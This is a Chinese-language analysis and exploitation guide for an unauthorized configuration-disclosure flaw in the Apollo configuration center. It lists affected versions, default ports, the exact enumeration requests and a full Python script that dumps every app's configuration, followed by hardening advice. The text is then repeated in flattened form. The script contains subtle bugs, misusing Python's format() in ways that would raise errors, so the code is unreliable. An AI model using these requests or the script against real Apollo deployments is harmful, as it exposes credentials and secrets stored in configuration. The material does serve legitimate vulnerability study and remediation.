Apollo 配置中心未授权获取配置漏洞利用
字数 1038 2025-08-10 08:29:06

Apollo 配置中心未授权获取配置漏洞分析与利用

漏洞概述

Apollo(阿波罗)是携程框架部门研发的分布式配置中心,用于集中化管理应用不同环境、不同集群的配置。该漏洞允许攻击者通过伪造客户端身份,无需授权即可获取系统配置信息。

漏洞背景

从 Apollo 的 issues-2099 可以看出,系统存在未授权访问风险。攻击者无需通过需要鉴权的 apollo-dashboard,只需伪造成客户端即可获取敏感配置信息。

受影响版本

  • 1.6.0 之前的所有版本(默认不开启访问密钥机制)
  • 1.7.1 之前的所有版本(默认不开启 apollo-adminservice 访问控制)

默认服务端口

端口号 服务类型
8070 apollo-dashboard
8080 apollo-configservice
8090 apollo-adminservice

漏洞原理

Apollo 系统默认情况下:

  1. apollo-configservice 和 apollo-adminservice 服务未启用访问控制
  2. 客户端身份验证机制默认关闭
  3. 攻击者可以构造特定请求直接获取配置信息

官方解决方案

  1. 1.6.0 版本:增加访问密钥机制,只有经过身份验证的客户端才能访问敏感配置

    • 需要手动开启此功能
    • 客户端需要配置相应密钥
  2. 1.7.1 版本:可以为 apollo-adminservice 开启访问控制

    • 配置示例:
      admin-service.access.control.enabled=true
      admin-service.access.tokens=098f6bcd4621d373xade4e832627b4f6
      

漏洞利用步骤

1. 获取所有应用基本信息(包含 appId)

GET http://target:8090/apps

2. 获取指定 appId 的所有 cluster

GET http://target:8090/apps/<appId>/clusters

3. 获取指定 appId 的所有 namespaces

GET http://target:8090/apps/<appId>/appnamespaces

4. 组合 appId、cluster 和 namespaceName 获取配置

GET http://target:8080/configs/<appId>/<cluster>/<namespaceName>

Python 自动化利用脚本

#!/usr/bin/env python3
# coding: utf-8
# Build By LandGrey

import json
import time
import requests
from urllib.parse import urlparse

def get_response(uri):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20200101 Firefox/60.0",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close"
    }
    return requests.get(uri, headers=headers, timeout=20, allow_redirects=False)

def get_app_ids(uri):
    app_ids = []
    response = get_response("{}/apps".format(uri))
    html = response.text
    if response.status_code == 200:
        for app in json.loads(html):
            app_ids.append(app.get("appId"))
    return app_ids

def get_clusters(uri, app_ids):
    clusters = {}
    for app_id in app_ids:
        clusters[app_id] = []
        response = get_response("{}/apps/{}/clusters".format(uri, app_id))
        html = response.text
        if response.status_code == 200:
            for app in json.loads(html):
                clusters[app_id].append(app.get("name"))
    return clusters

def get_namespaces(uri, app_ids, clusters):
    namespaces = {}
    for app_id in app_ids:
        namespaces[app_id] = []
        for cluster in clusters[app_id]:
            url = "{}/apps/{}/clusters/{}/namespaces".format(uri, app_id, cluster)
            response = get_response(url)
            html = response.text
            if response.status_code == 200:
                for app in json.loads(html):
                    namespaces[app_id].append(app.get("namespaceName"))
    return namespaces

def get_configurations(uri, app_ids, clusters, namespaces):
    configurations = []
    for app_id in app_ids:
        for cluster in clusters[app_id]:
            for namespace in namespaces[app_id]:
                key_name = format(app_id, cluster, namespace)
                url = "{}/configs/{}/{}/{}".format(uri, app_id, cluster, namespace)
                response = get_response(url)
                code = response.status_code
                html = response.text
                print("[+] get {} configs, status: {}".format(url, code))
                time.sleep(1)
                if code == 200:
                    configurations.append({key_name: json.loads(html)})
    return configurations

if __name__ == "__main__":
    apollo_adminservice = "http://test.landgrey.me:8090"
    apollo_configservice = "http://test.landgrey.me:8080"
    
    scheme0, netloc0, path0, params0, query0, fragment0 = urlparse(apollo_adminservice)
    host0 = format(scheme0, netloc0)
    
    _ids = get_app_ids(host0)
    print("All appIds:")
    print(_ids)
    
    _clusters = get_clusters(host0, _ids)
    print("\nAll Clusters:")
    print(_clusters)
    
    _namespaces = get_namespaces(host0, _ids, _clusters)
    print("\nAll Namespaces:")
    print(_namespaces)
    print()
    
    scheme1, netloc1, path1, params1, query1, fragment1 = urlparse(apollo_configservice)
    host1 = format(scheme1, netloc1)
    
    _configurations = get_configurations(host1, _ids, _clusters, _namespaces)
    print("\nresults:\n")
    print(_configurations)

修复建议

  1. 升级到最新版本(1.6.0 或更高版本)

  2. 启用访问密钥机制:

    • 在配置中心设置访问密钥
    • 所有客户端配置相应密钥
  3. 为 apollo-adminservice 开启访问控制:

    admin-service.access.control.enabled=true
    admin-service.access.tokens=<your-secure-token>
    
  4. 限制网络访问:

    • 仅允许可信IP访问管理端口
    • 配置防火墙规则限制访问
  5. 定期审计配置信息,检查是否有敏感信息泄露

总结

Apollo 配置中心默认配置存在未授权访问风险,攻击者可以通过构造特定请求获取系统配置信息。建议管理员及时升级并启用安全配置,避免敏感信息泄露。

Apollo 配置中心未授权获取配置漏洞分析与利用 漏洞概述 Apollo(阿波罗)是携程框架部门研发的分布式配置中心,用于集中化管理应用不同环境、不同集群的配置。该漏洞允许攻击者通过伪造客户端身份,无需授权即可获取系统配置信息。 漏洞背景 从 Apollo 的 issues-2099 可以看出,系统存在未授权访问风险。攻击者无需通过需要鉴权的 apollo-dashboard,只需伪造成客户端即可获取敏感配置信息。 受影响版本 1.6.0 之前的所有版本(默认不开启访问密钥机制) 1.7.1 之前的所有版本(默认不开启 apollo-adminservice 访问控制) 默认服务端口 | 端口号 | 服务类型 | |--------|-------------------| | 8070 | apollo-dashboard | | 8080 | apollo-configservice | | 8090 | apollo-adminservice | 漏洞原理 Apollo 系统默认情况下: apollo-configservice 和 apollo-adminservice 服务未启用访问控制 客户端身份验证机制默认关闭 攻击者可以构造特定请求直接获取配置信息 官方解决方案 1.6.0 版本 :增加访问密钥机制,只有经过身份验证的客户端才能访问敏感配置 需要手动开启此功能 客户端需要配置相应密钥 1.7.1 版本 :可以为 apollo-adminservice 开启访问控制 配置示例: 漏洞利用步骤 1. 获取所有应用基本信息(包含 appId) 2. 获取指定 appId 的所有 cluster 3. 获取指定 appId 的所有 namespaces 4. 组合 appId、cluster 和 namespaceName 获取配置 Python 自动化利用脚本 修复建议 升级到最新版本(1.6.0 或更高版本) 启用访问密钥机制: 在配置中心设置访问密钥 所有客户端配置相应密钥 为 apollo-adminservice 开启访问控制: 限制网络访问: 仅允许可信IP访问管理端口 配置防火墙规则限制访问 定期审计配置信息,检查是否有敏感信息泄露 总结 Apollo 配置中心默认配置存在未授权访问风险,攻击者可以通过构造特定请求获取系统配置信息。建议管理员及时升级并启用安全配置,避免敏感信息泄露。